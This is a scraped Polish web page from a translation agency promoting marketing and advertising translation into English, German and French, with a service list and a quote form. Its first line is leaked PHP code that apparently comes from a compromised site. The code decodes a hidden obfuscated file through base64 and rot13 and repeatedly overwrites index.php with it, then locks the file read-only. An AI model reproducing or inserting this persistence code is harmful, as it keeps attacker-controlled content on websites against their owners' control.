$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } Tłumaczenia marketingowe i reklamowe: angielski, niemiecki, francuski | mling.pl
698 688 787 lub 22 379 04 55 biuro@mling.pl
Zaznacz stronę

TŁUMACZENIA MARKETINGOWE I REKLAMOWE

Zaufaj specjalistom i korzystaj z naszego doświadczenia

Wycena tłumaczenia

wyc

  • Całkowicie za darmo !
  • Prześlij pliki
  • Odpowiedź do 30 minut
Sprawdź

Firma Wiarygodna Finansowo

fwf


Tłumaczenia tekstów reklamowych i marketingowych

Tłumaczenia marketingowe jako strategia działania firm

Jak ważna współcześnie jest reklama? Z jednej strony uważa się, że bez niej nie jest możliwa promocja i budowanie wizerunku zarówno firmy, jak i marki, z drugiej zaś strony wskazuje się na fakt, iż coraz częściej odbiorcy ignorują ją, gdyż uodporniają się na metody, które ona ze sobą niesie.

Aktualnie firmy, które zajmują się budowaniem wizerunku, jak również korporacje, które tworzą profesjonalne kampanie reklamowe, skupiają się głównie na stworzeniu takich reklam, które będą oryginalne, a przede wszystkim będą czerpały z symboliki czy też wzorców takich, które dotychczas nie były wykorzystywane, które nie są jeszcze obronione przez kulturę masową.

Społeczeństwo – jak wskazują wyniki badań – lubi bowiem nowości, jak również przedstawianie konkretnych produktów w sposób nowatorski, inny, ciekawy i specyficzny. Co jednak, gdy reklama wyprodukowana została poza granicami danego państwa, a ma być i w nim rozpowszechniania? Wówczas przed tłumaczami, którzy podejmują się przekładu, stoi nie lada wyzwanie. Okazuje się bowiem, że nie jest wystarczające jedynie zwykłe przetłumaczenie treści, które składają się na daną reklamę.

Równie istotne jest uchwycenie żartu, dowcipu czy przekazanie emocji, jakie danej produkcji towarzyszą. To zaś zadanie zdecydowanie trudniejsze i wykraczające poza zwykłe, dosadne tłumaczenie. Specjalista wykazać musi się zatem nie tylko idealną znajomością języka obcego, ale również musi zdecydowanie być obeznany z kulturą danej społeczności, w której reklama powstała. Tylko dzięki temu będzie w stanie oddać jej rzeczywisty przekaz. Tylko wówczas reklama będzie poruszać, będzie – można by powiedzieć – uderzać w uczucia społeczeństwa, powodując, iż będą oni odczuwali potrzebę zakupu danego produktu czy też dobra, usługi. Prawdopodobnie właśnie tylko w taki sposób tłumacz przyczyni się do sukcesu spotu, który ma być emitowany.

Rodzaje usług:

  • tłumaczenie kreatywne
  • tłumaczenie „dokładne” przeznaczone do dalszej redakcji
  • kreowanie i redagowanie tekstów przez redaktorów pochodzących z przestrzeni medialnej kraju odbiorcy reklamy
  • testowanie materiału reklamowego przez użytkowników pochodzących z rynków docelowych
  • wsparcie kulturoznawcze przy tworzeniu reklam
  • tłumaczenie książek i artykułów z zakresu teorii marketingu
  • lokalizacja materiałów reklamowych na dowolnych nośnikach
  • realizacja wielojęzycznych serwisów internetowych
  • tłumaczenie podkładów lektorskich
  • tłumaczenie napisów w materiałach filmowych
  • przygotowywanie list dialogowych z materiałów audio/video

Najczęściej tłumaczone języki to:

  • angielski
  • niemiecki
  • francuski

Wycena jest całkowicie darmowa i do niczego niezobowiązująca.


Wybierz pliki